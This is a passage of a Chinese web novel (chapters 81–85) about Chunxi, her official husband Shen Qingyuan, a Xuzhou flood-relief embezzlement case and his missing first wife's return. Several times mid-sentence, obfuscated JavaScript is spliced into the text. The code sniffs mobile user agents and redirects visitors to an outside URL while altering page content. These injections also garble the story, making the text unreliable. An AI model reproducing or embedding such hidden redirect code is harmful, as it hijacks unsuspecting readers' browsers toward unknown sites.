沈大人的手什么时候伸到这里来的? 身体的本能快过理智,春喜尚未反应过来,手已经呼在了沈清渊脸上。 啪的一声响,原本节节攀升的氛围陡然冷凝,沈清渊晦暗的眸底闪过茫然,似乎不明白自己为什么挨打。 春喜这一巴掌打得挺用力的,整个手掌都在发麻,理智回笼,她后悔不已,正想开口,沈清渊已撑着身子坐在一旁。 春喜连忙解释:“大人,不好意思啊,我刚刚不是故意的,是你这手也太突然了,我一点儿防备都没有,我现在可以了,我们继续吧。” 春喜说着就要往沈清渊身上扑,被沈清渊推开:“不用了。” 沈清渊语气低落,像是遭受了什么重大打击。 春喜有点害怕这一巴掌让他在闺房之事上留下什么阴影,急急道:“大人,我真不是故意的,我……” “你为什么从来都不肯叫我夫君?” 沈清渊打断她,春喜愣住:“这不是叫习惯了吗,你要是介意,我现在可以改口,夫君,春宵苦短,咱们别把时间浪费在这种小事上了。” “这不是小事,”沈清渊背转过身不看春喜,闷闷道,“你从来都没有把我当成是你的夫君看待,你只是很尊敬我。” 好像……是这么回事。 这不是因为大人你太正义凛然,让人忍不住地升起崇敬之情吗。 春喜还想解释,沈清渊沉沉开口:“你先出去吧,我想自己待一会儿。” “……” 不是,我衣服都快被你脱光了,这个时候你叫我出去? 人家都是酒后乱性,大人你酒后戒色合适吗? 春喜腹诽,但沈清渊看着确实很生气,她也不好霸王硬上弓,只能乖乖退下。 等她煮好醒酒汤回来,沈清渊已经睡着了。 春喜掰开他的下巴把醒酒汤灌进去,又帮他擦了擦身子才筋疲力尽地躺下。 夜里春喜做了个不可描述的梦,梦里沈清渊凶悍异常,偏偏还一直红着眼委委屈屈地逼问她喜不喜欢。 也不知道他是问她喜不喜欢他这个人,还是喜不喜欢他做的事。 从梦里醒来,春喜口干舌燥。 身边空荡荡的,沈清渊不在,春喜松了口气,冲下床猛灌了半壶凉茶,刚放下茶壶,沈清渊就走进屋来。 春喜呛住,剧烈咳嗽起来。 沈清渊立刻走过来帮她拍背顺气,感受到沈清渊的气息,春喜咳得更厉害,脸也不受控制地涨红。 “以后喝水慢一点,也没人跟你抢。” 沈清渊温声叮嘱,眸子又恢复清冷正经,丝毫不见昨晚的欲海浮沉。 春喜勉强止住咳,试探着问:“大人昨天喝醉了,可还记得醉酒后发生了什么?” “我只记得在画舫上的事,下画舫后发生什么了吗?” 原来都不记得了啊,真是太好了! 春喜暗暗松了口气,先把沈老夫人回府的事告诉沈清渊:“大人你昨天不仅骂了祖母和母亲,还打翻了祖母手里的茶盏掀了瓜子盘,最后还骂祖母不是个东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吴氏傻了眼,半晌才回过神来:“这个逆子不是去徐州查案子吗,那个小蹄子怎么也跟着一起去了?而且这次是你们哭着求着让我回来的,我才住了一个晚上,你们又要赶我走,真当我沈家没人了?” 第81章 沈叔叔托我照看小婶婶 沈清渊离京的消息一传来,卫凌泽就派人密切关注起清远侯府的动向,自己也在沐休时去到云氏族学,和沈清越、沈清宇结交了一番。 沈清越天资不错,文章也写得很好,虽然与卫凌泽年岁相当,对卫凌泽却很是敬仰崇拜,沈清宇的资质要比沈清越差很多,但话里话外对卫凌泽也很是恭维。 看着两人逢迎讨好的样子,卫凌泽心里很有优越感。 清远侯就是个目不识丁的莽撞武夫,自从天下大定,陛下就不再重用他,整个清远侯府不过是个徒有虚名的空架子。 沈清渊有什么可清高的呢,他就应该像沈清越、沈清宇这样,低着头夹着尾巴做人才对。 卫凌泽表现出了想要结交的意愿,沈清越当即发出邀约:“这个月底是三弟的及冠礼,不知卫兄可有时间来侯府观礼? “我现在还不能确定,不过只要有时间,我一定去。 卫凌泽没有给出肯定回答,但第二天,沈清越还是亲自送了请帖到卫家。 卫凌泽下值后看到书桌上那张请帖,唇角勾起冷笑。 他很期待春喜发现他出现在卫家时会有什么样的反应。 应该会很吃惊吧。 她还敢再喊人来抓他吗? 新婚丈夫刚走,她独守空闺,却在家中与男客私会,这样的消息传出去,她怎可能还有活路? 到时他叫她小婶婶,她还敢答应吗? 卫凌泽在脑海中勾勒出春喜又惊又怒,却又不得不委曲求全的模样,小婶婶这个称呼一出来,他浑身的血液不由自主地沸腾起来。 有种背伦禁忌的刺激感。 卫凌泽并未告诉萧清禾要去清远侯府赴宴的事,等到沈清宇及冠这日,随意从库房挑了支狼毫笔便慢悠悠地坐上马车出发。 他没有直接去清远侯府,而是在城中转了一大圈,直到临近午时,才让车夫去往清远侯府。 沈清越一直守在大门口,卫凌泽的马车刚停下,他便满脸振奋地迎上来:“我还以为卫兄今日有事来不了了,没想到卫兄百忙之中还是抽出了时间。 沈清越并不介意卫凌泽来得晚,只要卫凌泽能来,他就觉得荣幸之至。 这样的吹捧对卫凌泽来说很是受用,他淡淡应了一声,没什么诚意地解释:“临时有事耽搁了点儿时间,冠礼已经结束了吗? “还没开始呢。 沈清越边说边引着卫凌泽朝里走。 清远侯府没什么根基,这座宅子还是先帝抄了某个贪官的家 赐下来的,这么多年过去,到处都有修缮过的痕迹,哄哄乡巴佬还行,在卫凌泽这样的贵公子眼里,实在是破落不堪。 一路走走逛逛,卫凌泽心中的优越感达到巅峰。 清远侯府没有卫家豪阔,沈清渊这个老东西也没有他年轻俊美,春喜根本没有理由不选他。 莫氏当年是用不光彩的手段爬的清远侯的床,这些年虽然努力钻营,但有萧家压着,并未结识多少世家权贵,听闻今日卫凌泽要来,为显重视,莫氏并未邀请外人,只请了莫家的几位叔伯和侄子。 不过吴氏一直赖在侯府没走,硬把自己的孙子孙女外孙和外孙女也叫了来。 都是自家人,人数也不多,便没有男女分席,所有人都聚在一处。 宴席设在花园,为了附庸风雅,莫氏花钱买了些盆景,又让下人在园中用竹帘搭了凉亭。 卫凌泽刚跟着沈清越走到花园入口,一群人便叽叽喳喳地吵嚷起来。 “来了来了,卫公子来了。” “真的是卫公子啊,越儿和宇儿真是越来越有出息了,都跟卫公子交上朋友了。” “祖母,这就是卫公子啊,他长得可真好看。” 嘈杂的议论声让莫氏的虚荣心得到极大的满足,这些年她背负了那么多的白眼和骂名,就是为了能让自己的儿子出人头地。 清远侯这个老色胚算是她看走了眼,但只要儿子有出息,日后再为她挣个诰命,还有谁敢看不起她? 这般想着,莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578741|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氏满脸堆笑地迎上前:“卫大少爷,快请上座。” 卫凌泽没有客气,在最好的位置落座。 沈清越和沈清宇立刻帮着端茶倒水,好像今日这场及冠礼不是为沈清宇办的,而是为他办的。 卫凌泽心安理得地享受着两人的伺候,目光随意地扫了一圈,并未发现春喜的身影。 这眼瞅着要开宴了,她怎么还不出现?是不稀罕跟沈家人打交道还是被莫氏这个婆母禁足不能在外人面前丢人现眼? 卫凌泽暗暗思忖着,在场的少女被他这样轻飘飘地扫了一眼都控制不住红了脸。 卫公子不止长得好看,还是少年英才,虽然已经成婚,但若是能给这样风神俊朗的儿郎做妾也不亏啊。 清远侯夫人的主母之位不也来得很不光彩吗? 少女们想着走莫氏的老路,儿郎们则是想与卫凌泽结交,得到卫家的助力,一时间卫凌泽像是一块儿被丢进狼窝的肉,谁都想扑上去咬一口。 卫凌泽压着戾气假装看不懂这些人的目光,等到莫氏让人上菜准备开宴才状似无意地提了一句:“怎么没看到小婶婶?” 卫凌泽这话说得突然,众人一时之间都没反应过来他嘴里的小婶婶是谁。 见状,卫凌泽又补充了句:“沈叔叔临走之前托我好好照看小婶婶,我既然答应下来,自然要说到做到。” 卫凌泽语气平淡,脸上始终带着恰到好处的笑,好像他真的只是因为沈清渊的嘱托顺便问了这么一句。 莫氏的表情有些古怪,她犹豫片刻开口:“阿喜跟着渊儿一起去徐州了,渊儿没有告诉卫公子吗?” 这话一出,满座死寂。 春喜是跟着沈清渊去了徐州的,沈清渊怎可能托卫凌泽照顾春喜? 可如果不是沈清渊说的,卫凌泽为什么要撒谎提起春喜? 众人神色各异,都觉得发现了什么不得了的秘密,卫凌泽死死地握紧拳头,整个人都陷在被戏耍的暴怒之中。 沈清渊、曹春喜,你们好样的! 第82章 徐州**案 “阿嚏!” 益州大雨倾盆。 好不容易赶到驿站春喜就忍不住打了好几个喷嚏。 沈清渊立刻走过来问:“很冷吗?” “我没事”春喜摇头看看外面被雨幕模糊了的一切吸吸鼻子“我觉得可能是某个缺德玩意儿在骂我。” 车马都安置进了驿站后院的马厩所有人都淋得浑身湿透驿站官差立刻烧了热水送来。 春喜虽做的小厮打扮但同行的人都知道她是沈少夫人她和沈清渊自然在同一个房间。 驿站条件简陋房间连个屏风都没有只能把衣服搭在架子上勉强遮挡一下。 反正都摸过亲过了春喜也没矫情麻溜地泡进浴桶洗去一身疲乏。 趁着沈清渊洗澡的时间春喜去厨房帮着熬了姜汤和菜粥又烙了几十个热乎乎的大饼。 招呼大家下楼拿了吃的春喜才端着自己和沈清渊这份回屋。 屋里沈清渊已经洗完澡正披散着头发站在窗边看雨幕。 莫名的 “大人吃饭啦。” 春喜轻快地招呼了声等沈清渊拿起饼子吃了一口才试探着问:“大人心情不好吗是因为下雨耽误去徐州的行程了吗?” 沈清渊吃东西的动作一顿抬头问春喜:“你知道陛下让我来徐州查什么吗?” 春喜顿了顿问:“是和去年的徐州洪灾有关吗?” 之前在萧家那些世家小姐只说这桩案子很大牵连甚广但没人说具体缘由。 但去年徐州洪灾闹得很大据说流民数万浮尸上千消息传回瀚京朝中很快拨了赈灾粮饷下去。 卫家还带头捐了不少善款春喜也捐了半个月的月钱。 得知沈清渊被任命来徐州查案之时春喜第一时间就想到了这件事。 沈清渊眸光微闪惊讶于春喜的敏锐他点点头说:“去年秋末徐州连下了十来天的暴雨然后河坝决堤洪水泛滥徐州城外无数百姓家破人亡。” “朝廷不是派人赈灾了吗?” 春喜忍不住开口沈清渊赞同道:“国库拨了五万两白银各大世家商贾也都募捐了善款 加上各地征调的三万石赈灾粮足以让徐州百姓度过这次洪灾。” 春喜没再接话打断沈清渊不自觉放缓了呼吸然后就听到沈清渊说:“朝廷拨下来的粮饷并未全部发放到灾民手中大多数都被徐州州府梁为民抬进 了自己的私库之中,梁为民用泡了水的烂米熬粥赈灾,用竹篱笆搭的棚子收容灾民,给灾民发塞着芦苇叶的棉袄过冬。” 说到这里,沈清渊顿了顿,眼底闪过不忍:“去年冬,徐州大雪,无数百姓活活冻死在风雪中。” 外面雨声越发大了,几乎把沈清渊的声音盖下去。 可那是无数条活生生的人命,他们的亡灵日日夜夜号哭着不得安息,怎可能盖得住? 春喜又往沈清渊手里塞了一块饼:“大人要多吃点儿,徐州那么多百姓还等着大人去给他们主持公道呢。” “梁为民有这样大的胆子,是因为他在瀚京有靠山,扳倒他容易,但扳倒他背后的人很难,此去徐州可能危险重重,你就这么确定我能帮他们主持公道?” “当然相信啊,大人背后靠的可是萧家和太子殿下,这个狗官的靠山怎么可能比大人更厉害?” 春喜答得毫不犹豫,沈清渊眸底的寒意散了些:“即便我背后有太子殿下撑腰,到了徐州也会有各种各样的危险,你不怕吗?” “该害怕的是那个狗官,我才不怕,而且大人福星高照,这次去徐州肯定会逢凶化吉、遇难呈祥。” 沈清渊不记得这是春喜第几次说他福星高照了。 她并非刻意讨好,而是发自内心地觉得他会有好运。 沈清渊咬了口手里的饼,温声回应:“嗯,有我在,你不用怕。” 大雨连下了三日,直到第三天傍晚才放晴。 沈清渊没有再休息,带着众人趁夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578742|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶路,五日后的清晨,一行人终于抵达徐州城。 沈清渊并未派人提前进城报信,徐州州府梁为民却早早地带着下属在城门口恭候:“沈大人,你可算是来了,这一路没遇到什么事吧?” 梁为民虽然贪了很多钱,但并不是大腹便便的模样,反而清瘦得很,加上花白的头发和胡须,乍一看还挺像是两袖清风的好官。 沈清渊看了眼饱经风霜的城门,淡淡道:“各地的治安都很好,没遇到什么事。” 梁为民连声应是,而后遣散一众下属,带着沈清渊一行人去往城中驿站。 等随行的人安置好车马,梁为民才道:“下官在家中略备了些家常菜给大人接风,还请大人不要嫌弃。” “梁大人一番好意,岂有嫌弃的道理?” 沈清渊带着春喜和青书前去赴宴。 梁为民身为一州州府,住的府邸不算大,只是座两进的宅院,进到里面,各处的陈设也很一般,处处都透着简朴素雅之风。 宴席设在饭厅,如梁为民所言,都是些家常菜,四荤四素,加碗三鲜汤,加上酒水,所有食材几两银子就能买下来。 梁为民搓搓手,面上露出窘迫:“大人应该也知道,徐州去年遭了洪灾,百姓流离失所,元气大伤,就连下官如今也只能用这样的饭菜招待大人,还请大人莫要见怪。” “这样的饭菜没什么不好的。” 沈清渊率先落座,一点儿架子都没有,梁为民松了口气,正要跟着坐下,又听到沈清渊说:“青书和曹二都是自幼伺候我的贴身随从,这一路他们也辛苦了,梁大人应该不介意让他们一起坐下来用饭吧?” 梁为民连连摇头:“当然不介意,两位小兄弟快请入座。” 青书和春喜一左一右在沈清渊旁边落座,沈清渊很自然地倒了杯茶放在春喜面前,随口道:“去年徐州受灾严重,本官还担心城中会有流民作乱,今天这一路走来街上倒是很安静,连乞丐都没看到一个呢。” 第83章 我知道你对我不感兴趣 “大人所料不差,洪灾之后,城中确实涌入不少难民,不过为了维护治安,下官在城中开了好几处善堂收容难民,那些乞丐也都跟着挤进善堂蹭吃蹭睡了,明日下官就带大人去城中看看。” 梁为民解释着,亲自给沈清渊倒了杯酒,顺势道:“徐州气候温润,江河水系发达,若不是饱受洪灾之苦,也该是丰饶富庶的鱼米之乡,下官无能,在徐州这么多年,并未想到彻底根除水患的办法,沈大人十七岁就高中状元,不知对此可有什么高见?” 梁为民已年近半百,在官场上算是沈清渊的前辈,他却不在意颜面,坦然承认自己的无能,又捧高沈清渊的才能,不耻下问,更像是一心为民的好官了。 沈清渊当即和梁为民推杯换盏地聊起徐州水患的治理方法来。 梁为民相当捧场,不管沈清渊说什么,他都要拊掌叫好,拍案称绝,直把沈清渊夸成是治理水患的绝世天才。 这顿饭足足吃了一个时辰,最后沈清渊是被春喜和青书架着走出梁家的。 三人一走,梁为民脸上的笑瞬间消失无踪,心腹从暗处走出来,好奇地问:“大人,这位沈大人方才说的治水法子真的很好吗?” 梁为民唇角一勾,讥讽地笑出声:“不过是照本宣科,只知道死读书的废物罢了,难怪在京兆府十年都不得升迁,随便找个替死鬼让他回京交差就可以了。” 与此同时,马车里,沈清渊也冷笑出声:“笑里藏刀的老东西,他还真以为我是傻子呢。” 青书从未见过自家大人这副模样,被笑得毛骨悚然。 大人刚刚不是还跟州府大人把酒言欢吗,怎么扭头就骂起人家老东西来了? 春喜已经有过经验,倒是并不太惊讶,只是隐隐觉得沈清渊的酒量好像……有点差。 今天比上次卫凌泽故意灌酒喝的少多了,可大人还是醉了吧? 许是知道徐州不是什么好地方,沈清渊这次醉酒还算收敛,并未在马车上对春喜有什么过分亲密的举动。 回到驿站,立刻有官差送来醒酒汤和热水。 喝了醒酒汤,沈清渊先去沐浴。 春喜帮他找了一身干净衣服,刚放在架子上,就听到沈清渊说:“我原谅你了。” 啊??? 这话没头没尾,春喜听得一脸茫然,沈清渊又补充了句:“上次你打我那一巴掌,我原谅你了。” 春喜:“……” 合着大人你清醒的时候不记得醉酒后发生的事,但再次醉酒后还能想起来? 春喜第一次见到这样的,感觉有些新奇,她顺着沈清渊的话说:“我真的不是故意的,大人能原谅我真是太好了。” 沈清渊有些骄傲:“我向来就不是小肚鸡肠的人,而且你是我的妻,我定然是要对你好的。” 连日赶路,沈清渊晒黑了不少,身子却还是很白的,这会儿整个人坐在浴桶里,肩膀和脖子都被热气熏蒸得发红,莫名地让人觉得很好欺负。 春喜很容易就想起了之前的手感。 大人的胸肌……挺紧实的。 这个念头刚冒出来,沈清渊的声音便传入耳中:“你在想什么?” “我不是,我没有!” 春喜下意识地摇头否认,脸一下子热起来,心脏也跟着砰砰直跳。 她发誓,她就只是回想了一下,没想趁人之危。 “哦。” 沈清渊点点头,似是相信了春喜的说法,不再深究。 春喜松了口气,正想转移话题,哗啦的水声响起,沈清渊毫无防备地从浴桶里站了起来。 春喜猛然背转过身,然而那一闪而逝的画面却像是刻在了脑海之中。 还在冒着热气的水流哗啦啦地顺着结实的肌理滚落,沈清渊泛着水光的身体比平时更加健壮。 而顺着水流往下,是和他那张严肃正经的脸极不相符的粗犷、狰狞…… “……”!!! 曹春喜,不要再回想这些细节了。 你刚刚什么都没有看到! 春喜努力掐断思绪,正想着万一沈清渊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578743|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这么缠上来该如何应对,身后传来悉悉窣窣的声音。 鼓足勇气扭头,沈清渊穿好衣服躺到床上,低落地说:“我知道你对我不感兴趣,放心,我以后不会再对你做那样的事了。” 倒也不是不感兴趣,就是瞧着有点儿吓人。 想到刚刚看到的,春喜把到嘴边的安慰咽了回去。 大人那样天赋异禀,她多半是承受不住的,加上他喝了酒,万一没个轻重,她肯定得遭大罪。 反正大人醒了也不会记得醉酒后发生的事,难过一会儿也没什么的。 她总不能因为心疼大人苦了自己吧。 春喜抿着唇没有接话,沈清渊怨气十足地瞪了她一眼,背转过身睡了。 确定他真的睡熟了,春喜才轻手轻脚地擦了下身子睡觉。 第二天沈清渊一动,春喜立刻就醒了。 因为心虚,她殷勤地起身帮沈清渊整理衣襟,试探着问:“大人昨晚又喝醉了,还记得发生了什么吗?” 沈清渊的眸子已经恢复清冷,他回忆了下说:“在梁家发生的事我都记得,回到驿站后就不太清楚了,又怎么了?” “没有没有,”春喜连忙摇头,顿了顿又说,“我觉得大人的酒量不是很好,以后还是少喝点吧,万一被人发现这个弱点下套就不好了。” 沈清渊之前没什么朋友,更是很少参加宴请,所以不太清楚自己的酒量,但他也知道喝酒误事,当即点头道:“好,我以后会注意。” 只要大人不再喝醉,昨晚发生的事就不会有人知道了吧。 春喜彻底放松下来,这一放松,眼神就不自觉往沈清渊腰腹以下的位置飘。 大人长得这么一本正经,怎么能那样狂放呢? 沈清渊相当敏锐,很快发现春喜的眼神不对劲,他忍不住问:“怎么了,有什么地方不妥吗?” 说着话,沈清渊还摊平了手转了一圈,大大方方地展示今天的穿着。 春喜连忙收起小心思,摇头道:“没有,大人今天风神俊朗,非常好看!” 第84章 诈尸了 吃过早饭,梁为民果然带着他们去参观城中的善堂。 洪灾已经过去大半年的时间,善堂里的灾民不是很多,且个个衣着干净,一看到梁为民就不住地跪下磕头谢恩。 “你们应该感谢的是陛下和朝廷,梁某不过是拿着俸禄帮朝廷办事罢了。” 梁为民并不居功,对这些灾民更是和蔼可亲。 沈清渊看着他做戏,并不戳穿。 城中善堂共有十三个,直到傍晚时分,他们才来到城西最后一个善堂。 这个善堂是用城隍庙改的,堂中灾民要多一些,刚走到门口就能闻到一股子让人作呕的臭味儿。 梁为民皱了皱眉,正想劝沈清渊不要进去,人群中突然冲出一个人来。 “来人啊,有刺客!” 梁为民吓得大叫,飞快逃离,沈清渊也后退两步,把春喜护在身后,青书拿着刀上前,一脚将人踹飞。 那人被踹飞在地,蜷缩在地缓了一会儿才开口大喊:“沈郎,我是婉娘啊,你不认得我了吗?” 沈郎? 大人难道还有风流债? 春喜忍不住从沈清渊背后探出脑袋想要看得更清楚,下一刻就听到青书颤抖震惊的声音:“少夫人,怎么是你?” 少夫人? 这天还没有完全黑呢,就诈尸了? 正想着,手腕被捏了一下。 梁为民还在呢,沈清渊不好多说什么,只能用眼神告诉春喜不要多想。 春喜拍拍胸口给了沈清渊一个了解的眼神,而后指着地上蓬头垢面的姑娘说:“我看青书刚刚那一脚挺狠的,要不要先给少夫人请个大夫?” 青书那句“少夫人”一出口,梁为民就从被行刺的恐惧中回过神来,不用沈清渊开口,他立刻让人用担架把莫芸婉送去城中最好的医馆诊治。 春喜当即和青书一起跟去医馆。 “对不起沈大人,这都是下官的疏忽,下官一定会请最好的大夫为沈夫人诊治调养身体,不过沈夫人好端端的怎么会流落到善堂这种地方来呢?” 梁为民面上带着歉意,眼底却满满的都是警惕探究,沈清渊收回追逐春喜的目光,淡淡道:“内子几年前意外失踪,多方查找无果,还以为她早就遇害身亡,我也不知道她什么时候来的徐州。” 几年前就失踪了,那这位沈夫人岂不是很有可能知道赈灾的全部情况? 梁为民的心紧了紧,面上虽然不显,心里却已闪过好几种**灭口的法子。 沈清渊把梁为民 的细微表情尽收眼底,莫芸婉失踪多年却在这个时候出现,如果不是梁为民故意安排,背后之人又是谁呢? —— 医馆里,莫芸婉洗去一身脏污,换上干净衣裙,露出一张我见犹怜的脸来。 她眉眼纤弱,瘦得很厉害,加上疼得发白的脸,很有股子病美人的韵味,让人止不住地生出怜惜。 青书方才那一脚确实挺狠的,莫芸婉的肋骨被踢断了一根,等大夫用木片和绷带帮她固定包扎好,春喜和青书才得以进屋。 一看到青书,莫芸婉就扑簌簌地落下泪来:“我不是做梦,真的是沈郎来救我了,我还以为这辈子都再也见不到沈郎了。” 莫芸婉哭得停不下来,青书本就因为刚刚踹她那一脚内疚着,见状忍不住安慰:“少……你别哭了,大人会带你回京和家人团聚的。” 青书下意识地想叫她少夫人,但想到春喜也在,只能把后面两个字咽回去。 春喜却并不在意这些,她一个箭步上前,递了帕子给莫芸婉擦泪,热切地问:“少夫人你是怎么流落到徐州的?可是有歹人挟持,让你无法给侯府递消息让人来接你?” 听到春喜这么一问,青书才想起莫芸婉好手好脚的,脑子又没有问题,这么多年怎么都该想办法给侯府递信求助才对。 青书也好奇地看向莫芸婉,莫芸婉擦泪的手抖了一下,不答反问:“你是什么人,我之前在侯府怎么没有见过你?” “我叫曹二,是大人新提拔的随从。” 新的随从? 莫芸婉眨眨眼,整个人突然崩溃:“是啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578744|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我离开这么多年,侯府恐怕早就物是人非,沈郎有了新的随从,枕边是不是也有了新人安睡,我活着还有什么意思?” 莫芸婉说完便要用头撞墙,春喜连忙抓住她,青书更是急得大声道:“大人并未另娶,你还是侯府的少夫人!” 听到这话,莫芸婉的眸子亮起:“真的吗?这么多年沈郎真的没有再娶?” 假的。 他不仅再娶了,新夫人还就坐在你面前呢。 春喜也不想莫芸婉再受刺激寻死觅活,点点头坐实沈清渊没有再娶这件事,复又问道:“所以少夫人到底是什么时候流落到徐州的?” 莫芸婉仍是不愿回答,只低声道:“我有些累了,等沈郎来了,我会把所有的事都告诉他的。” 言下之意,旁人问这些她都不想回答。 春喜也不浪费口舌,和青书退到屋外等着。 直到夜幕降临,沈清渊才和梁为民一起踏入医馆。 “沈夫人没事吧?” 梁为民率先开口,比沈清渊还要关心莫芸婉的身体。 春喜把莫芸婉的情况大概说了一下,梁为民立刻道:“沈夫人吉人自有天相,身体没有大碍真是太好了,不过沈夫人一定受了很多惊吓,沈大人快进去安慰安慰夫人吧。” 梁为民说着侧身让出路来,并不打算进屋打扰夫妻俩叙旧。 沈清渊站着没动,仍是看着春喜:“她可有说自己是何时来到徐州的?” “没有,少夫人说要等大人来了才会说出一切。” 沈清渊皱了皱眉,还想再说些什么,听到声音的莫芸婉冲屋里冲了出来。 “沈郎,你来啦!” 喝了药又休息了一会儿,莫芸婉恢复了些体力,声音都变得轻快了些。 她是奔着沈清渊的怀抱去的。 却被沈清渊反应极快地避开。 莫芸婉来不及停下,整个人扑空摔在地上,许是摔到才固定好的肋骨,发出一声凄厉的惨叫。 嘶~ 春喜倒吸了口凉气。 听着都疼。 第85章 住进梁家 莫芸婉的肋骨再次摔伤,大夫重新给她包扎后,勒令她必须卧床休养。 沈清渊并不愿意守着她,只有春喜和青书陪着。 第二日,梁夫人就亲自来医馆探望。 梁为民虽然看着有些沧桑,梁夫人却是保养极好,而且体态丰腴,珠圆玉润,贵气逼人。 梁夫人没有梁为民亲和,眉眼高抬,根本没把春喜和青书两个小厮放在眼里,进屋后却拉着莫芸婉一口一个妹妹地叫着。 “好妹妹,这些年你肯定吃了许多苦,我都不敢想你是怎么熬到今天的。” 莫芸婉躺在床上,面色惨白,见梁夫人如此心疼自己,眼泪又涌了出来:“当年沈郎也是奉命在外地缉拿凶手,姑母怕沈郎有什么好歹,便做主让我过了门,我实在想为沈郎留个后,就冒着危险去找沈郎,却不想路上遇到**意外跌落山崖。” 说到这里,莫芸婉泣不成声,梁夫人连忙安慰:“好妹妹,当时沈大人生死未卜,你不仅愿意嫁给他,还敢千里寻夫,如此胆识如此情谊,实乃世间少有啊。” 梁夫人这番话夸到莫芸婉心里去了,莫芸婉的语气立时染上悲壮:“这桩婚事虽是姑母做主定下的,但我对沈郎其实早就芳心暗许,若不是我跌落山崖重伤失忆,我就算拼死也要想办法回到沈郎身边的。” “原来妹妹是失忆了,真是太可怜了。” 梁夫人很是捧场,莫芸婉擦了擦泪说:“我一直在神医家里干活报恩,直到去年年底想起一些零星的记忆才拜别神医出来寻亲,却不想又在徐州遇到洪灾,装着盘缠的行李被洪水冲走,我只能和其他灾民一起挤在善堂度日,许是上天怜悯,竟让我又遇到了沈郎。” 有情人终于再见面,梁夫人动容到抱着莫芸婉大哭了一场。 等莫芸婉的情绪稳定下来,梁夫人才试探着问:“好妹妹,你在徐州这些日子可有被人欺负?若是有,你尽管告诉我,我立刻让人把他们绑来给你磕头赔罪!” 莫芸婉毫不犹豫地摇头:“没有,梁大人赈灾有方,洪灾发生不久后,所有灾民都被妥善安置,善堂更是被衙门的人管理得井井有条,我在善堂待得很安心,并未受到任何欺负。” 梁夫人原本看莫芸婉的眼神是带着防备的,听到莫芸婉的回答后,这才转变成真心实意的笑容,当即褪下腕间的金镯子戴到莫芸婉手上。 “好妹妹,你情深意重,又知恩图报,我一看到你就觉得亲切,你若是愿意,以后我就是你的亲姐姐,沈大人若是敢辜负你,我第一个不答应 !” 梁夫人相当豪气,莫芸婉也不扭捏,抚摸着腕间的金镯子柔柔唤道:“婉娘见过阿姐。” 认完亲,梁夫人也不客气,当即命令春喜:“你去找顶软轿来,把你家少夫人抬到粱府好好养伤。” 青书觉得不妥,刚想拒绝,春喜抢先开口:“夫人愿意让我家夫人到府上养伤真是太好了,只是我家大人向来勤俭,这次出门也没带多少钱,小人也不知道上哪儿能借到软轿……” 春喜话没说完,梁夫人身边的婆子就塞了一锭银元宝给她:“出门右转走两条街就有个车行,你自己凭本事砍价,剩下的都是给你的赏钱。” 春喜眉开眼笑,乐颠颠地谢了赏,拉着青书出门去租轿子。 两人走后,梁夫人又让人去找大夫给莫芸婉开了些上好的补药。 在没人看得见的地方,梁夫人唇角讥讽地上扬。 还以为朝廷派来的钦差大臣多有能耐呢。 结果还没开始查案,就冒出个诈尸的夫人来。 一个弱女子只身一人失踪多年,便是回到家中也是死路一条,更不可能被夫家接受,所以不管之前这位沈夫人在徐州经历了什么,她都得咬着牙说去年官府赈灾及时有效,城中一片祥和安宁。 如此才能保证她的清白。 都不用他们想办法找人证,这位沈夫人就会拼尽全力帮他们吹枕边风。 医馆离梁家不太远,春喜花五十文租了软轿,又花三十文雇了两个人抬轿子。 剩下的银两还挺多,春喜拿在手里掂了掂,瞧着有些市侩。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 